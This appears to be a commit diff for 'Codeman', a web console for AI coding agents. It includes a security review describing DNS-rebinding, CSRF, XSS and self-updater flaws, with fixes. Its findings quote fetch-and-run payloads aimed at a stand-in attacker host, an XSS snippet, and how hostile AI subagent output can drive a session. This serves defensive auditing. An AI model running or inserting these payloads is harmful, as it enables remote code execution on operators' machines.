| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `POST` | `/api/orchestrator/start` | 从目标启动编排 |
| `POST` | `/api/orchestrator/approve` | 批准生成的计划 |
| `GET` | `/api/orchestrator/status` | 当前阶段 + 进度 |
| `POST` | `/api/orchestrator/stop` | 停止并清理 |
### 子智能体(Subagents)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/subagents` | 列出所有后台智能体 |
| `GET` | `/api/subagents/:id` | 智能体信息与状态 |
| `GET` | `/api/subagents/:id/transcript` | 完整活动记录 |
| `DELETE` | `/api/subagents/:id` | 杀掉智能体进程 |
### 系统(System)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/events` | SSE 流 |
| `GET` | `/api/status` | 完整应用状态 |
| `POST` | `/api/hook-event` | Hook 回调 |
| `GET` | `/api/system/update/check` | 检查新发行版 |
| `POST` | `/api/system/update` | 自更新(git-clone 安装) |
| `POST` | `/api/clipboard` | 把文本推送到所有已连接浏览器(`{text}`) |
| `GET` | `/api/sessions/:id/run-summary` | 时间线 + 统计 |
---
## 架构
```mermaid
flowchart TB
subgraph Codeman["CODEMAN"]
subgraph Frontend["前端层"]
UI["Web UI<br/><small>xterm.js + 智能体窗口</small>"]
API["REST API<br/><small>Fastify</small>"]
SSE["SSE 事件<br/><small>/api/events</small>"]
end
subgraph Core["核心层"]
SM["会话管理器"]
S1["会话 (PTY)"]
S2["会话 (PTY)"]
RC["重生控制器"]
ORC["编排器循环"]
end
subgraph Detection["检测层"]
RT["Ralph 跟踪器"]
SW["子智能体监视器<br/><small>~/.claude/projects/*/subagents</small>"]
TW["团队监视器<br/><small>~/.claude/teams/*</small>"]
end
subgraph Persistence["持久化层"]
SCR["Mux 管理器<br/><small>(tmux)</small>"]
SS["状态存储<br/><small>state.json</small>"]
end
subgraph External["外部"]
CLI["AI CLI<br/><small>Claude Code / OpenCode</small>"]
BG["后台智能体<br/><small>(Task 工具)</small>"]
end
end
UI <--> API
API <--> SSE
API --> SM
SM --> S1
SM --> S2
SM --> RC
SM --> ORC
SM --> SS
S1 --> RT
S1 --> SCR
S2 --> SCR
RC --> SCR
ORC --> SCR
SCR --> CLI
SW --> BG
SW --> SSE
TW --> SSE
```
---
## 开发
```bash
npm install
npx tsx src/index.ts web # 开发模式
npm run build # 生产构建
npm test # 运行测试
```
完整文档见 [CLAUDE.md](./CLAUDE.md)。
---
## 代码库质量
本代码库经历了一次全面的 7 阶段重构,消除了上帝对象、集中了配置,并建立了模块化架构:
| 阶段 | 改了什么 | 影响 |
|-------|-------------|--------|
| **性能** | 缓存端点、SSE 自适应批处理、缓冲区分块 | 终端延迟低于 16ms |
| **路由抽取** | `server.ts` 拆分为 15 个领域路由模块 + 认证中间件 + 端口接口 | server.ts 代码量 **−67%**(6,736 → 2,254) |
| **领域拆分** | `types.ts` → 16 个领域文件、`ralph-tracker` → 7 个文件、`respawn-controller` → 5 个文件、`session` → 6 个文件 | 不再有上帝文件 |
| **前端模块** | `app.js` → 18 个抽取模块,横跨基础设施、领域与特性层 | app.js 核心降至 **约 3.4K 行** |
| **配置合并** | 约 70 个散落的魔法数字 → 10 个领域聚焦的配置文件 | 零跨文件重复 |
| **测试基础设施** | 共享 mock 库、12 个路由测试文件、统一的 MockSession | 路由处理器可通过 `app.inject()` 测试 |
完整细节:[`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
---
## 已发布的包
### [`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input)
[![npm](https://img.shields.io/npm/v/xterm-zerolag-input?style=flat-square&color=22c55e)](https://www.npmjs.com/package/xterm-zerolag-input)
为 xterm.js 提供即时按键反馈的叠加层。通过把输入的字符立即渲染为像素级精准的 DOM 叠加层,消除高 RTT 连接下的感知输入延迟。零依赖、可配置的提示符检测、带 78 个测试的完整状态机。
```bash
npm install xterm-zerolag-input
```
[完整文档](packages/xterm-zerolag-input/README.md)
---
## 许可证
MIT —— 见 [LICENSE](LICENSE)
---
<p align="center">
<strong>跟踪会话。可视化智能体。掌控重生。让它在你睡觉时持续运行。</strong>
</p>
+149
View File
@@ -0,0 +1,149 @@
# Codeman Security Review — 2026-06-09
> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
> trusts an unsigned git tag — needs signing infra) and dropping CSP
> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
> known XSS). Per‑finding breakdown in the *Implementation status* section below;
> regression tests in `test/network-host-guard.test.ts`.
**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
## TL;DR — the one thing that matters
The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
---
## CRITICAL
### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
---
## HIGH
### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
---
## MEDIUM
| # | Finding | Location | Fix |
|---|---------|----------|-----|
| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
---
## LOW / INFO (hardening)
- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
---
## What's solid (credit where due)
The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
---
## Implementation status (2026-06-09)
Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
## Remediation priority
1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*
+139 -13
View File
@@ -19,6 +19,43 @@ an explicit, guided opt‑in.
---
## Contents
1. [Network binding model](#1-network-binding-model)
2. [Authentication](#2-authentication)
3. [Request‑origin trust & the tunnel caveat](#3-requestorigin-trust--the-tunnel-caveat)
4. [Recommended remote‑access setups](#4-recommended-remoteaccess-setups)
5. [File‑serving hardening](#5-fileserving-hardening)
6. [tmux launch hardening](#6-tmux-launch-hardening-cod31)
7. [Supply‑chain & build‑asset hardening](#7-supplychain--buildasset-hardening-cod28)
8. [Multi‑instance isolation](#8-multiinstance-isolation)
9. [Transport security headers](#9-transport-security-headers)
10. [Quick reference](#10-quick-reference)
---
## Trust model
**The security boundary is the network bind plus authentication — not the code Codeman
runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
below exists to control *who* that is.
| Actor | Reaches the UI when… | Is granted |
|-------|----------------------|------------|
| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
**Explicitly out of scope.** Codeman is access control for the operator console, not a
sandbox for the code that console runs. It does **not** defend against: a compromised
local user account (loopback is trusted), malicious contents in a workspace you
deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
(§5).
---
## 1. Network binding model
| Setting | Default | Source |
@@ -140,8 +177,52 @@ requests as local:
up (it does not gate the hook‑event exemption, but it gates everything else and
is the documented practice). Prefer `tailscale serve` (below), which authenticates
at the tailnet layer so untrusted clients never reach the loopback port at all.
A future hardening could gate the hook‑event exemption on a shared secret while a
tunnel is active.
### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
**before** the auth pipeline in §2 and guards **every** request — including the
localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
`POST`) that the loopback‑no‑password default otherwise exposed to any site the
operator merely visits.
- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
**every** request, all methods. A custom domain rebound to `127.0.0.1` is
rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
`localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
`.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
`Host` is rejected.
- **Origin / CSRF guard.** On **state‑changing** methods (everything except
`GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
rejected. This blocks the cross‑site CSRF that could previously create sessions,
trigger self‑update, or flip `tunnelEnabled`.
- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
self‑parses its beacon payload). This removes the CORS "simple request" CSRF
vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
JSON body into a write route with no preflight — defense‑in‑depth alongside the
Origin guard.
- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
runs the **same** Host + Origin check and closes with code `4003` on failure
(anti‑CSWSH).
The policy is rebuilt per request from
`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
tunnel at runtime updates the allowlist with no restart.
> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
> bare domain **and** all subdomains. Behaviour is covered by
> `test/network-host-guard.test.ts`.
---
@@ -210,10 +291,13 @@ TOCTOU window.
A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
can carry `<script>`, same‑origin = full session control). `file-raw` therefore
serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
`nosniff`. With global `nosniff` + CSP `default-src 'self'`, other text types
(`.html`, `.xml`, …) that fall through to `octet-stream` are not rendered as HTML
either. Trusted QR/welcome SVGs are injected from API JSON (`innerHTML`), not via
`file-raw`, so they are unaffected.
`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
combination**, which forces a download instead of a render — not the CSP: the
policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
document *would* be able to run inline scripts if the browser ever rendered it.
By the same combination, other text types (`.html`, `.xml`, …) that fall through
to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
### Download sensitive‑path blocklist
@@ -293,14 +377,37 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
## 9. Transport security headers
`registerSecurityHeaders` applies on every response:
`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
- `Content-Security-Policy: default-src 'self'` (widened only for `/gesture/`
assets when `CODEMAN_GESTURE=1`, to load self‑hosted MediaPipe)
- `X-Content-Type-Options: nosniff`
- `X-Frame-Options`
- `Strict-Transport-Security` when served over HTTPS
- CORS restricted to localhost origins
- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
deliberate widenings (so the policy is tighter than "self only" but every
exception is enumerated and same‑origin‑first):
- `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
(CDN fallback for a few libraries). `script-src` and `style-src` additionally
allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
`octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
Because `'unsafe-inline'` is still present (removing it needs a nonce
migration), AI‑derived strings rendered into the subagent/activity panels are
HTML‑escaped at the injection sites (`escapeHtml` in
`src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
so a hostile tool name or argument can't execute — defense‑in‑depth from the
2026‑06‑09 review (H4).
- `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
- `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
- `frame-ancestors 'self'`.
- **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
`'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
`/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
production CSP is byte‑for‑byte unchanged.
- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
`frame-ancestors 'self'`).
- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
served over HTTPS (`--https`).
- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
headers. `OPTIONS` preflights are answered `204`.
---
@@ -310,6 +417,7 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
|------------|--------|
| `CODEMAN_PASSWORD` (+ `CODEMAN_USERNAME`) | Enable HTTP Basic auth |
| `--host` / `CODEMAN_HOST` | Bind host (default `127.0.0.1`) |
| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
| `--https` | Enable TLS (adds HSTS) |
| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
@@ -317,3 +425,21 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
**Audit log:** session lifecycle and server start are recorded in
`~/.codeman/session-lifecycle.jsonl`.
### Key source files
| Concern | File |
|---------|------|
| Bind‑host classification, env‑flag parsing, Host/Origin allowlist (`buildHostPolicy` / `isAllowedRequestHost` / `isAllowedRequestOrigin`) | `src/web/network-auth-policy.ts` |
| Start‑and‑warn policy | `src/web/server.ts` (`WebServer.start()`) |
| Auth pipeline, rate limiting, security headers, CORS, Host/Origin guard (`registerHostGuard`) | `src/web/middleware/auth.ts` |
| File‑path containment (realpath‑before‑check) | `src/web/route-helpers.ts` (`validateSessionFilePath`) |
| File routes, caps, SVG handling, download blocklist | `src/web/routes/file-routes.ts` |
| Instance/socket/data‑dir scoping | `src/config/instance.ts` |
---
> **Maintenance note:** the behaviours above were verified against the source on
> 2026‑06‑09. When you change auth, the bind policy, CSP/headers, or the file
> routes, update this document in the same change — several sections quote exact
> values (caps, CSP directives, TTLs) that drift silently otherwise.
+7
View File
@@ -26,6 +26,13 @@ TARGET_NODE_VERSION="${CODEMAN_NODE_VERSION:-22}"
NONINTERACTIVE="${CODEMAN_NONINTERACTIVE:-0}"
SKIP_SYSTEMD="${CODEMAN_SKIP_SYSTEMD:-0}"
# puppeteer is a devDependency used only by scripts/browser-comparison.mjs — its
# ~150MB chrome-headless-shell download is never needed to build or run Codeman.
# Skipping it avoids a slow download and a fatal install failure when a prior
# download left a corrupt cache (folder present, executable missing). Respect an
# explicit caller override so contributors can still fetch the browser if needed.
export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
# Claude CLI search paths (from src/utils/claude-cli-resolver.ts)
CLAUDE_SEARCH_PATHS=(
"$HOME/.local/bin/claude"
+2 -2
